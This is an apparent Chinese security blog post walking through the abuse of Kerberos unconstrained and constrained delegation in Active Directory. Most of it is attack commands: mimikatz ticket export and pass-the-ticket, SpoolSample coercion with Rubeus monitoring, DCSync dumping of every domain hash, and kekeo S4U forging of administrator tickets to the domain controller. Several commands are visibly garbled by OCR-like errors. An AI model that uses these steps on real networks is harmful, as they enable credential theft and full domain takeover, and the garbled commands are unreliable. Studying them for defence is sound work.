非约束委派和约束委派

非约束性委派

非约束性委派概述

在Windows server 2000首次发布Active Directory时,Microsoft就提供了一种简单的机制来支持用户通过Kerberos向Web Server进行身份验证并需要代表该用户更新后端数据库服务器上的记录方案,这就是最早的非约束性委派

对于非约束性委派,服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可以使用该TGT,模拟该用户访问任何服务

非约束委派的设置需要SeEnableDelegation特权,该特权通常仅授予域管理员

配置了非约束性委派属性的机器账号UserAccountControl属性有个Flag位:WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的数是0x81000=528384

配置了非约束性委派属性的服务账号userAccountControl属性有个Flag位:NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的数是0x80200=524800

查找非约束委派的主机或服务账号

利用powersploit中的powerview

1
2
3
4
import-Module .\PowerView.ps1

Get-NetComputer -Unconstrained -Domain test.com
Get-NetUser -Unconstrained -Domain test.com | select name

利用ADFind

非约束性委派利用过程

user访问serverA,于是向DC发起认证,DC会检查server的机器账号的属性,如果是非约東委派的话,会把用户的TGT放在ST票据中并一起发送给ServerA,这样ServerA在验证ST票据的同时也获得了用户的TGT,并把TGT存储在自己的lsass进程中以备下次重用,从而ServerA就可以使用这个TGT,来模拟这个user访问任何服务

从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境

利用过程

域:test2.com 域控:PC2 受非约束委派机器:PC1

用域管访问PC1机器

1
2
3
net use MPC1.test2 comlipc$ "admin@2019Domain" /user:test2\administrator

dir WPc1 .test2.com\c$

然后在PC1上以管理员权限运行mimikatz

1
2
privilege::debug
sekurlsa::tickets /export

此时可以在mimikatz同级目录下拿到管理员Administrator的票据,用mimikatz将票据注入内存中

1
2
3
4
privilege::debug
kerberos::purge
kerberos::ptt [0:a33838]-2-0-60a10000-Administrator@krbtgt-TEST2.COM.kirbi
kerberos::list

成功访问域控

1
dir \Pc2.test2.com\c$

非约束委派+Spooler打印机漏洞利用过程

非约束委派+spooler打印机服务可以强制指定的主机进行连接

利用原理

利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRNRpcRemoteFindFirstPrinterchangeNotification方法强制任何运行了Spooler服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证
Print Spooler服务默认是自动运行的

利用过程

域:test2.com 域控:PC2 非约束委派机器:PC1

使用Rubeus监听来自域控的登陆日志

1
Rubeus.exe monitor /interval:1 /filteruser:PC2

在PC1上运行SpoolSample.exe,向域控的Spooler服务发送请求,强制域控PC2向PC1发起认证

1
SpoolerSample.exe PC2 PC1

成功捕捉到域控的票据,利用Rubeus进行PTT票据传递

1
Rubeus.exe ptt 票据内容

票据导入成功后,利用DCSync导出域内所有用户的Hash

1
Isadump::dcsync /domain:test2.com /all /csV

然后可以根据获得的信息进一步进行Hash传递或进行黄金票据等

约束性委派

利用过程

域名:test2.com 域控:PC2.test2.com 域内机器:PC1.test2.com 域内委派用户:justtest

首先在域控上将justtest注册为SPN服务账号

1
setspn -S cifs/PC1.test2.com

查看是否注册成功

1
setspn -L justtest

然后将justtest用户设置为 约束委派 的属性,为访问域控的cifs

通过命令行打开adsiedit.msc查看justtest用户属性

可以看到当被设置为约束委派的时候,它的userAccountControl会包含TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION字段并且比非约束委派账户多了msDS-AllowedToDelegateTo字段,里面包含了允许委派的服务

当知道justtest这个服务用户的明文密码或者Hash时,可以用kekeo请求它的TGT

1
tgt:ask /user:justtest /domain:test2.com /password:Seven@Six999.
1
tot::ask /user:justtest /domain:test2.com /NTLM XXXXXXXX

如果不知道明文和Hash,如果有了服务用户登录的主机权限,也可以利用mimikatz从内存中把服务用户的TGT dump下来,从内存中导出所有票据

1
2
privilege:debug
sekurlsa:tickets /export

然后通过justtest的TGT伪造s4u请求以administrator身份请求访问域控cifs的ST

1
tgs s4u /tgt.TGT justtest@TEST2.COM krbtgt.test2.com@TEST2.COM.kirbi /user administrator@test2 com/service:cifs/Pc2 test2.com

可以获得两个票据
用mimikatz将票据导入内存中

1
kerberos:ptt TGS administrator@test2.com@TEST2.COM cifs~PC2 test2.com@TEST2.COM .kirbi

访问域控

1
dir WPc2.test2.com\c$

非约束委派和约束委派
http://example.com/2025/01/23/非约束委派和约束委派/
作者
ZERO
发布于
2025年1月23日
许可协议